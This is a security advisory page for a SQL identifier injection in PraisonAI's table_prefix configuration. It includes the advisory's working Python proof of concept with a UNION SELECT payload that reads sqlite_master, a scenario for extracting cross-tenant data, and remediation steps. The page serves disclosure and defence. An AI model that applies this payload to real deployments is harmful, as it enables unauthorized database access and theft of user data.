GHSA-x783-xp3g-mqhp: PraisonAI: SQL injection via table_prefix exposes DB
GHSA-x783-xp3g-mqhp MEDIUMPraisonAI's SQLite conversation persistence layer is vulnerable to SQL identifier injection through the `table_prefix` configuration parameter, which is concatenated directly into query strings without sanitization or validation. An attacker who can influence this configuration — via a shared YAML file, multi-tenant deployment, or compromised configuration pipeline — can inject UNION-based SQL payloads to enumerate the internal database schema and manipulate session query results. While not in CISA KEV and no automated scanner template exists, the advisory includes a working PoC demonstrating full query structure takeover including `sqlite_master` schema disclosure; notably, this package carries 29 other known CVEs suggesting a systemic validation problem. Upgrade to PraisonAI 4.5.133 immediately and audit write access to all configuration files across AI agent deployments.
Risk Assessment
Medium risk with a narrow but consequential attack surface. Exploitation requires control over the `table_prefix` configuration value — achievable in multi-tenant environments, misconfigured CI/CD pipelines, or insider threat scenarios where configuration is externally sourced. The impact when exploited includes full SQL query manipulation, internal schema disclosure via sqlite_master, and potential cross-tenant session data tampering. No CVSS score is assigned and EPSS data is unavailable, but the existence of a working PoC in the advisory lowers exploitation barrier significantly for any attacker who already has partial configuration access. The 29 other CVEs in this package signal a pattern of insufficient input validation that warrants treating PraisonAI as high-scrutiny in your AI supply chain.
Attack Kill Chain
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | < 4.5.133 | 4.5.133 |
Do you use PraisonAI? You're affected.
Severity & Risk
Recommended Action
- Upgrade to PraisonAI >= 4.5.133 immediately — this is the only complete fix.
- If patching is delayed, restrict write access to all PraisonAI configuration files to trusted system accounts only and prevent external input from influencing `table_prefix`.
- Implement allowlist validation at any configuration ingestion boundary: `table_prefix` should accept only alphanumeric characters and underscores.
- Audit existing SQLite conversation stores for signs of exploitation: inspect session IDs for schema-like strings (e.g., containing 'sqlite_master', 'UNION', 'SELECT') or unexpected row counts.
- In multi-tenant architectures, never pass per-tenant configuration parameters directly to database constructors; always sanitize and validate through a trusted intermediary layer.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-x783-xp3g-mqhp?
PraisonAI's SQLite conversation persistence layer is vulnerable to SQL identifier injection through the `table_prefix` configuration parameter, which is concatenated directly into query strings without sanitization or validation. An attacker who can influence this configuration — via a shared YAML file, multi-tenant deployment, or compromised configuration pipeline — can inject UNION-based SQL payloads to enumerate the internal database schema and manipulate session query results. While not in CISA KEV and no automated scanner template exists, the advisory includes a working PoC demonstrating full query structure takeover including `sqlite_master` schema disclosure; notably, this package carries 29 other known CVEs suggesting a systemic validation problem. Upgrade to PraisonAI 4.5.133 immediately and audit write access to all configuration files across AI agent deployments.
Is GHSA-x783-xp3g-mqhp actively exploited?
No confirmed active exploitation of GHSA-x783-xp3g-mqhp has been reported, but organizations should still patch proactively.
How to fix GHSA-x783-xp3g-mqhp?
1. Upgrade to PraisonAI >= 4.5.133 immediately — this is the only complete fix. 2. If patching is delayed, restrict write access to all PraisonAI configuration files to trusted system accounts only and prevent external input from influencing `table_prefix`. 3. Implement allowlist validation at any configuration ingestion boundary: `table_prefix` should accept only alphanumeric characters and underscores. 4. Audit existing SQLite conversation stores for signs of exploitation: inspect session IDs for schema-like strings (e.g., containing 'sqlite_master', 'UNION', 'SELECT') or unexpected row counts. 5. In multi-tenant architectures, never pass per-tenant configuration parameters directly to database constructors; always sanitize and validate through a trusted intermediary layer.
What systems are affected by GHSA-x783-xp3g-mqhp?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, conversation persistence layers, multi-tenant AI deployments, AI agent session management, SQLite-backed AI application storage.
What is the CVSS score for GHSA-x783-xp3g-mqhp?
No CVSS score has been assigned yet.
Technical Details
NVD Description
### Summary The `table_prefix` configuration value is directly used to construct SQL table identifiers without validation. If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results. --- ### Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution. This occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings: ```python sessions_table = f"{table_prefix}sessions" ``` This value is then used in queries such as: ```sql SELECT * FROM {self.sessions_table} ``` Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure. The vulnerability originates from configuration input and propagates through the following flow: * **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py) (`from_yaml` / `from_dict`) accepts external configuration input * **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py) (`create_stores_from_config`) passes `conversation_options` without validation * **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py) Constructs SQL queries using f-strings with identifiers derived from `table_prefix` As a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics. ### PoC #### 1. Exploit Code The PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure. ```python #!/usr/bin/env python3 """ PoC: SQL identifier injection via SQLiteConversationStore.table_prefix This demonstrates query-structure manipulation when table_prefix is attacker-controlled. """ import os import tempfile from praisonai.persistence.conversation.sqlite import SQLiteConversationStore from praisonai.persistence.conversation.base import ConversationSession def run_poc() -> int: fd, db_path = tempfile.mkstemp(suffix=".db") os.close(fd) try: print(f"[+] temp db: {db_path}") # 1) Create normal schema and insert one legitimate session. normal = SQLiteConversationStore( path=db_path, table_prefix="praison_", auto_create_tables=True, ) normal.create_session( ConversationSession( session_id="legit-session", user_id="user1", agent_id="agent1", name="Legit Session", state={}, metadata={}, created_at=123.0, updated_at=123.0, ) ) normal_rows = normal.list_sessions(limit=10, offset=0) print(f"[+] normal.list_sessions() count: {len(normal_rows)}") print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}") # 2) Malicious prefix (UNION-based query structure manipulation) injected_prefix = ( "praison_sessions WHERE 1=0 " "UNION SELECT " "name as session_id, " "NULL as user_id, " "NULL as agent_id, " "NULL as name, " "NULL as state, " "NULL as metadata, " "0 as created_at, " "0 as updated_at " "FROM sqlite_master -- " ) injected = SQLiteConversationStore( path=db_path, table_prefix=injected_prefix, auto_create_tables=False, ) injected_rows = injected.list_sessions(limit=10, offset=0) injected_ids = [row.session_id for row in injected_rows] print(f"[+] injected.list_sessions() count: {len(injected_rows)}") print(f"[+] injected session_ids (first 10): {injected_ids[:10]}") suspicious = any( x in injected_ids for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages") ) if suspicious or len(injected_rows) > len(normal_rows): print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix") return 0 print("[!] PoC inconclusive: no clear injected rows observed") return 2 finally: try: os.remove(db_path) print("[+] temp db removed") except OSError: pass if __name__ == "__main__": raise SystemExit(run_poc()) ``` --- #### 2. Expected Output  The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered. #### 3. Impact - SQL Identifier Injection - Query result manipulation - Internal schema disclosure Exploitable when untrusted input can influence configuration. --- #### Reference - https://github.com/advisories/GHSA-59g6-v3vg-f7wc
Exploitation Scenario
An adversary targeting a multi-tenant PraisonAI SaaS platform submits a malicious YAML configuration where `table_prefix` contains a UNION-based SQL injection payload — for example, embedding `WHERE 1=0 UNION SELECT name, NULL, NULL ... FROM sqlite_master --`. When the platform initializes a `SQLiteConversationStore` with this configuration, the injected SQL transforms a routine `list_sessions()` call into a UNION SELECT against `sqlite_master`, returning the complete database schema in place of session data. Armed with table names and structures, the attacker iterates through follow-up payloads to extract cross-tenant conversation histories, user identifiers, agent configurations, and any credentials persisted in session state — achieving unauthorized data disclosure without bypassing authentication, purely through configuration manipulation.
Weaknesses (CWE)
References
Timeline
Related Vulnerabilities
CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-2763-cj5r-c79m 9.7 PraisonAI: RCE via shell injection in agent workflows
Same package: praisonai CVE-2026-40154 9.3 PraisonAI: supply chain RCE via unverified template exec
Same package: praisonai GHSA-8x8f-54wf-vv92 9.1 PraisonAI: auth bypass enables browser session hijack
Same package: praisonai
AI Threat Alert